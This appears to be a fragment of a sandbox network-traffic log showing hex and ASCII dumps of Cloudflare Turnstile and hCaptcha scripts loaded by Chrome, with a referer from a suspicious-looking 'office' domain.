2025-01-15 14:12:12 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2025-01-15 14:12:12 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 41 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2025-01-15 14:12:12 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 42 74 28 65 29 7c 7c 6a 74 28 65 2c 72 29 7c 7c 7a 74 28 65 2c 72 29 7c 7c 71 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2025-01-15 14:12:12 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 58 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var De=300030;var Ve=300031;var j;(fu
2025-01-15 14:12:12 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2025-01-15 14:12:12 UTC	1369	IN	Data Raw: 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 4b 74 3d 33 30 30 2c 24 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 Data Ascii: ecute"],e)}var Kt=300,$t=10;function yt(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clea
2025-01-15 14:12:12 UTC	1369	IN	Data Raw: 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 75 2c 67 3d 4d 28 4e 72 2c 28 75 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 75 21 3d 3d 76 6f 69 64 20 30 3f 75 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 68 2c 6c 3d 4d 28 6b 72 2c 28 68 3d 28 6e 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 Data Ascii: innerWidth<400,c=e.state===Ie.FAILURE_FEEDBACK\|\|e.state===Ie.FAILURE_HAVING_TROUBLES,u,g=M(Nr,(u=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&u!==void 0?u:"nonexistent"),h,l=M(kr,(h=(n=e.displayLanguage)===null\|\|n===void 0?void
2025-01-15 14:12:12 UTC	1369	IN	Data Raw: 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 53 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 53 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 28 68 2c 75 29 3b 76 61 72 20 6c 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 68 29 2c 70 3d 6e 65 77 20 6c 3b 72 65 74 75 72 6e 20 67 26 26 5a 28 70 2c 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 70 7d 2c 53 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 Data Ascii: urn!1}}function Se(e,r,n){return je()?Se=Reflect.construct:Se=function(c,u,g){var h=[null];h.push.apply(h,u);var l=Function.bind.apply(c,h),p=new l;return g&&Z(p,g.prototype),p},Se.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Objec
2025-01-15 14:12:12 UTC	1369	IN	Data Raw: 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 73 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 48 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 48 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 51 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 48 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 Data Ascii: ");throw new sr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){return e.startsWith(He)?e.substring(He.length):null}function Q(e){return"".concat(He).concat(e)}function Rt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=doc
2025-01-15 14:12:12 UTC	1369	IN	Data Raw: 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b Data Ascii: rmOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	50655	104.19.230.21	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:13 UTC	793	OUT	GET /captcha/v1/41c61f4f356516806017107484a3b43e62b92b84/static/hcaptcha.html HTTP/1.1 Host: newassets.hcaptcha.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:13 UTC	572	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cache-Control: max-age=3600 vary: accept-encoding vary: Origin alt-svc: h3=":443"; ma=86400 CF-Cache-Status: HIT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff Content-Security-Policy: report-uri https://sentry.hcaptcha.com/api/6/security/?sentry_key=30910f52569b4c17b1081ead2dae43b4&sentry_environment=prod&sentry_release=csp1; Server: cloudflare CF-RAY: 9026759efdffc35d-EWR
2025-01-15 14:12:13 UTC	797	IN	Data Raw: 37 64 35 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 61 74 61 2d 69 64 3d 22 68 63 61 70 74 63 68 61 2d 66 72 61 6d 65 2d 34 31 63 36 31 66 34 66 33 35 36 35 31 36 38 30 36 30 31 37 31 30 37 34 38 34 61 33 62 34 33 65 36 32 62 39 32 62 38 34 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 68 43 61 70 74 63 68 61 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d Data Ascii: 7d59<!DOCTYPE html><html lang="en" data-id="hcaptcha-frame-41c61f4f356516806017107484a3b43e62b92b84"><head> <title>hCaptcha</title> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta http-equiv="Content-
2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 20 32 30 70 78 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 7d 62 75 74 74 6f 6e 3a 66 6f 63 75 73 2c 69 6e 70 75 74 3a 66 6f 63 75 73 2c 73 65 6c 65 63 74 3a 66 6f 63 75 73 2c 74 65 78 74 61 72 65 61 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 3a 30 7d 3a 66 6f 63 75 73 7b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 6f 75 74 6c 69 6e 65 3a 30 7d 74 65 78 74 61 72 65 61 7b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 6f 76 65 72 66 6c 6f 77 3a 61 75 74 6f 3b 6f 75 74 6c 69 6e 65 3a 30 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 72 65 73 69 7a 65 3a 6e 6f 6e 65 7d 2e 6e 6f 2d 73 65 6c 65 63 74 69 Data Ascii: n:0;padding:15px 20px;border:none}button:focus,input:focus,select:focus,textarea:focus{outline:0}:focus{border:none;outline:0}textarea{border:none;overflow:auto;outline:0;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;resize:none}.no-selecti
2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 69 66 28 21 74 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 20 69 28 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 74 79 70 65 6f 66 20 74 2b 22 20 22 2b 74 2b 22 20 69 73 20 6e 6f 74 20 69 74 65 72 61 62 6c 65 28 63 61 6e 6e 6f 74 20 72 65 61 64 20 70 72 6f 70 65 72 74 79 20 53 79 6d 62 6f 6c 28 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 29 29 22 29 29 3b 76 61 72 20 6e 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 29 3b 69 66 28 30 3d 3d 3d 6e 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 20 65 28 5b 5d 29 3b 76 61 72 20 72 3d 6e 2e 6c 65 6e 67 74 68 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 74 2c 69 29 7b 69 66 28 69 26 26 28 22 6f 62 6a 65 63 74 22 3d 3d 74 Data Ascii: if(!t\|\|"undefined"==typeof t.length)return i(new TypeError(typeof t+" "+t+" is not iterable(cannot read property Symbol(Symbol.iterator))"));var n=Array.prototype.slice.call(t);if(0===n.length)return e([]);var r=n.length;function o(t,i){if(i&&("object"==t
2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 20 69 6e 73 74 61 6e 63 65 6f 66 20 73 29 72 65 74 75 72 6e 20 74 2e 5f 73 74 61 74 65 3d 33 2c 74 2e 5f 76 61 6c 75 65 3d 65 2c 76 6f 69 64 20 68 28 74 29 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 29 72 65 74 75 72 6e 20 76 6f 69 64 20 66 28 28 6e 3d 69 2c 72 3d 65 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 61 70 70 6c 79 28 72 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2c 74 29 7d 74 2e 5f 73 74 61 74 65 3d 31 2c 74 2e 5f 76 61 6c 75 65 3d 65 2c 68 28 74 29 7d 63 61 74 63 68 28 6f 29 7b 63 28 74 2c 6f 29 7d 76 61 72 20 6e 2c 72 7d 66 75 6e 63 74 69 6f 6e 20 63 28 74 2c 65 29 7b 74 2e 5f 73 74 61 74 65 3d 32 2c 74 2e 5f 76 61 6c 75 65 3d 65 2c 68 28 74 29 7d 66 75 6e 63 74 69 6f 6e 20 68 28 74 29 7b 32 3d 3d 3d 74 2e 5f 73 74 61 Data Ascii: instanceof s)return t._state=3,t._value=e,void h(t);if("function"==typeof i)return void f((n=i,r=e,function(){n.apply(r,arguments)}),t)}t._state=1,t._value=e,h(t)}catch(o){c(t,o)}var n,r}function c(t,e){t._state=2,t._value=e,h(t)}function h(t){2===t._sta
2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 3d 3d 3d 73 3f 74 3a 6e 65 77 20 73 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 28 74 29 7d 29 29 7d 2c 73 2e 72 65 6a 65 63 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 73 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 69 29 7b 69 28 74 29 7d 29 29 7d 2c 73 2e 72 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 73 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 69 29 7b 69 66 28 21 72 28 74 29 29 72 65 74 75 72 6e 20 69 28 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 50 72 6f 6d 69 73 65 2e 72 61 63 65 20 61 63 63 65 70 74 73 20 61 6e 20 61 72 72 61 79 22 29 29 3b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 6f 3d 74 2e 6c 65 6e 67 74 68 3b 6e 3c 6f 3b 6e 2b 2b 29 73 2e 72 65 73 6f 6c 76 65 28 74 5b 6e 5d 29 2e 74 68 Data Ascii: ===s?t:new s((function(e){e(t)}))},s.reject=function(t){return new s((function(e,i){i(t)}))},s.race=function(t){return new s((function(e,i){if(!r(t))return i(new TypeError("Promise.race accepts an array"));for(var n=0,o=t.length;n<o;n++)s.resolve(t[n]).th
2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 72 72 61 79 28 74 29 29 66 6f 72 28 76 61 72 20 65 3d 74 3b 65 2e 6c 65 6e 67 74 68 3b 29 74 68 69 73 2e 74 6f 6b 65 6e 73 2e 75 6e 73 68 69 66 74 28 65 2e 73 68 69 66 74 28 29 29 3b 65 6c 73 65 20 74 68 69 73 2e 74 6f 6b 65 6e 73 2e 75 6e 73 68 69 66 74 28 74 29 7d 7d 3b 76 61 72 20 76 3d 2d 31 3b 66 75 6e 63 74 69 6f 6e 20 77 28 74 2c 65 29 7b 69 66 28 74 29 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 44 65 63 6f 64 65 72 20 65 72 72 6f 72 22 29 3b 72 65 74 75 72 6e 20 65 7c 7c 36 35 35 33 33 7d 66 75 6e 63 74 69 6f 6e 20 78 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 53 74 72 69 6e 67 28 74 29 2e 74 72 69 6d 28 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 Data Ascii: rray(t))for(var e=t;e.length;)this.tokens.unshift(e.shift());else this.tokens.unshift(t)}};var v=-1;function w(t,e){if(t)throw TypeError("Decoder error");return e\|\|65533}function x(t){return t=String(t).trim().toLowerCase(),Object.prototype.hasOwnProperty
2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 22 29 3b 65 3d 79 28 65 29 2c 74 68 69 73 2e 5f 65 6e 63 6f 64 69 6e 67 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 65 6e 63 6f 64 65 72 3d 6e 75 6c 6c 2c 74 68 69 73 2e 5f 64 6f 5f 6e 6f 74 5f 66 6c 75 73 68 3d 21 31 2c 74 68 69 73 2e 5f 66 61 74 61 6c 3d 65 2e 66 61 74 61 6c 3f 22 66 61 74 61 6c 22 3a 22 72 65 70 6c 61 63 65 6d 65 6e 74 22 3b 76 61 72 20 69 3d 74 68 69 73 3b 69 66 28 65 2e 4e 4f 4e 53 54 41 4e 44 41 52 44 5f 61 6c 6c 6f 77 4c 65 67 61 63 79 45 6e 63 6f 64 69 6e 67 29 7b 76 61 72 20 6e 3d 78 28 74 3d 74 21 3d 3d 75 6e 64 65 66 69 6e 65 64 3f 53 74 72 69 6e 67 28 74 29 3a 41 29 3b 69 66 28 6e 75 6c 6c 3d 3d 3d 6e 7c 7c 22 72 65 70 6c 61 63 65 6d 65 6e 74 22 3d 3d 3d 6e 2e 6e 61 6d 65 29 74 68 72 6f 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 55 6e Data Ascii: ");e=y(e),this._encoding=null,this._encoder=null,this._do_not_flush=!1,this._fatal=e.fatal?"fatal":"replacement";var i=this;if(e.NONSTANDARD_allowLegacyEncoding){var n=x(t=t!==undefined?String(t):A);if(null===n\|\|"replacement"===n.name)throw RangeError("Un
2025-01-15 14:12:13 UTC	1369	IN	Data Raw: 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 53 2e 70 72 6f 74 6f 74 79 70 65 2c 22 66 61 74 61 6c 22 2c 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 66 61 74 61 6c 22 3d 3d 3d 74 68 69 73 2e 5f 65 72 72 6f 72 5f 6d 6f 64 65 7d 7d 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 53 2e 70 72 6f 74 6f 74 79 70 65 2c 22 69 67 6e 6f 72 65 42 4f 4d 22 2c 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 67 6e 6f 72 65 42 4f 4d 7d 7d 29 29 2c 53 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 63 6f 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 69 3b 69 3d 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 Data Ascii: t.defineProperty(S.prototype,"fatal",{get:function(){return"fatal"===this._error_mode}}),Object.defineProperty(S.prototype,"ignoreBOM",{get:function(){return this._ignoreBOM}})),S.prototype.decode=function(t,e){var i;i="object"==typeof t&&t instanceof Arr
